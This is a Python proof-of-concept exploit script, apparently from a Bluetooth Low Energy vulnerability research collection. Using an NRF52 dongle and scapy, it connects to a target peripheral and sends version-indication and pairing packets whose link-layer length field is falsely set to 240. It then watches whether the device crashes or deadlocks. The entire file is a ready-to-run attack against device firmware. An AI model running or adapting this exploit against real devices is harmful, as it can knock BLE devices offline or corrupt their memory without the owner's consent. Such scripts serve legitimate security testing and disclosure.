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link_layer_length_overflow.py
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link_layer_length_overflow.py
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#!/usr/bin/python
import os
import platform
import sys
from time import sleep
# libs
sys.path.insert(0, os.getcwd() + '/libs')
import colorama
from colorama import Fore
from drivers.NRF52_dongle import NRF52Dongle
from scapy.layers.bluetooth4LE import *
from scapy.layers.bluetooth import *
# timeout lib
from timeout_lib import start_timeout, disable_timeout, update_timeout
sleep(1.0)
# Default master address
master_address = '5d:36:ac:90:0b:22'
access_address = 0x9a328370
# Internal vars
none_count = 0
end_connection = False
connecting = False
slave_addr_type = 0
switch_length_pkt = False
run_script = True
disconn_count = 0
# Autoreset colors
colorama.init(autoreset=True)
# Get serial port from command line
if len(sys.argv) >= 2:
serial_port = sys.argv[1]
elif platform.system() == 'Linux':
serial_port = '/dev/ttyACM0'
elif platform.system() == 'Windows':
serial_port = 'COM1'
else:
print(Fore.RED + 'Platform not identified')
sys.exit(0)
print(Fore.YELLOW + 'Serial port: ' + serial_port)
# Get advertiser_address from command line (peripheral addr)
if len(sys.argv) >= 3:
advertiser_address = sys.argv[2].lower()
else:
advertiser_address = '80:ea:ca:80:00:01'
print(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())
def crash_timeout():
print(Fore.RED + "No advertisement from " + advertiser_address.lower() +
' received\nThe device may have crashed!!!')
# disable_timeout('scan_timeout')
def scan_timeout():
global connecting, slave_addr_type
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
driver.send(scan_req)
connecting = False
start_timeout('scan_timeout', 2, scan_timeout)
def completion_timeout():
global disconn_count, run_script
if disconn_count < 4:
disconn_count += 1
print(Fore.YELLOW + 'Peripheral not responding')
else:
print(Fore.RED + "Peripheral seems unresponsive (deadlock).\n"
"Check if you can connect to the peripheral by other means (i.g., mobile app)")
run_script = False
# Open serial port of NRF52 Dongle
driver = NRF52Dongle(serial_port, '115200')
# Send scan request
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
driver.send(scan_req)
start_timeout('scan_timeout', 2, scan_timeout)
print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
while run_script:
pkt = None
# Receive packet from the NRF52 Dongle
data = driver.raw_receive()
if data:
# Decode Bluetooth Low Energy Data
pkt = BTLE(data)
# if packet is incorrectly decoded, you may not be using the dongle
if pkt is None:
none_count += 1
if none_count >= 4:
print(Fore.RED + 'NRF52 Dongle not detected')
sys.exit(0)
continue
elif BTLE_DATA in pkt and BTLE_EMPTY_PDU not in pkt:
update_timeout('scan_timeout')
# Print slave data channel PDUs summary
print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
# --------------- Process Link Layer Packets here ------------------------------------
# Check if packet from advertised is received
if pkt and (BTLE_SCAN_RSP in pkt or BTLE_ADV in pkt) and pkt.AdvA == advertiser_address.lower() \
and connecting == False:
connecting = True
update_timeout('scan_timeout')
disable_timeout('crash_timeout')
slave_addr_type = pkt.TxAdd
print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
# Send connection request to advertiser
conn_request = BTLE() / BTLE_ADV(RxAdd=slave_addr_type, TxAdd=0) / BTLE_CONNECT_REQ(
InitA=master_address,
AdvA=advertiser_address,
AA=access_address, # Access address (any)
crc_init=0x179a9c, # CRC init (any)
win_size=2, # 2.5 of windows size (anchor connection window size)
win_offset=1, # 1.25ms windows offset (anchor connection point)
interval=16, # 20ms connection interval
latency=0, # Slave latency (any)
timeout=50, # Supervision timeout, 500ms (any)
chM=0x1FFFFFFFFF, # Any
hop=5, # Hop increment (any)
SCA=0, # Clock tolerance
)
# Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!
driver.send(conn_request)
elif BTLE_DATA in pkt and connecting == True:
connecting = False
print(Fore.GREEN + 'Slave Connected (L2Cap channel established)')
start_timeout('completion_timeout', 1.5, completion_timeout)
# Send version indication request
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_VERSION_IND(version='4.2')
if switch_length_pkt is True:
switch_length_pkt = False
print(Fore.YELLOW + 'Sending oversized version indication')
pkt[BTLE_DATA].len = 240 # The magic happens here
end_connection = True
driver.send(pkt)
elif LL_SLAVE_FEATURE_REQ in pkt:
# 1) Send Feature request
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_FEATURE_RSP(
feature_set='le_encryption+le_data_len_ext')
driver.send(pkt)
elif LL_VERSION_IND in pkt:
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_REQ(
max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
driver.send(pkt)
elif LL_LENGTH_RSP in pkt or LL_UNKNOWN_RSP in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Pairing_Request(
iocap=4, oob=0, authentication=0x05, max_key_size=16, initiator_key_distribution=0x07,
responder_key_distribution=0x07)
if switch_length_pkt is False:
switch_length_pkt = True
print(Fore.YELLOW + 'Sending oversized pairing request')
pairing_req[BTLE_DATA].len = 240 # The magic happens here
driver.send(pairing_req)
end_connection = True
elif L2CAP_Connection_Parameter_Update_Request in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Pairing_Request(
iocap=4, oob=0, authentication=0x05, max_key_size=16, initiator_key_distribution=0x07,
responder_key_distribution=0x07)
if switch_length_pkt is False:
switch_length_pkt = True
print(Fore.YELLOW + 'Sending oversized pairing request')
pairing_req[BTLE_DATA].len = 240 # The magic happens here
driver.send(pairing_req)
end_connection = True
elif SM_Pairing_Response in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Public_Key()
driver.send(pairing_req) # Send an arbitrary smp packet (public key)
elif LL_LENGTH_REQ in pkt:
length_rsp = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_RSP(
max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
driver.send(length_rsp) # Send a normal length response
elif end_connection == True:
end_connection = False
disconn_count = 0
disable_timeout('completion_timeout')
scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
print(Fore.YELLOW + 'Connection reset, malformed packet was sent')
print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
driver.send(scan_req)
start_timeout('crash_timeout', 7, crash_timeout)
sleep(0.01)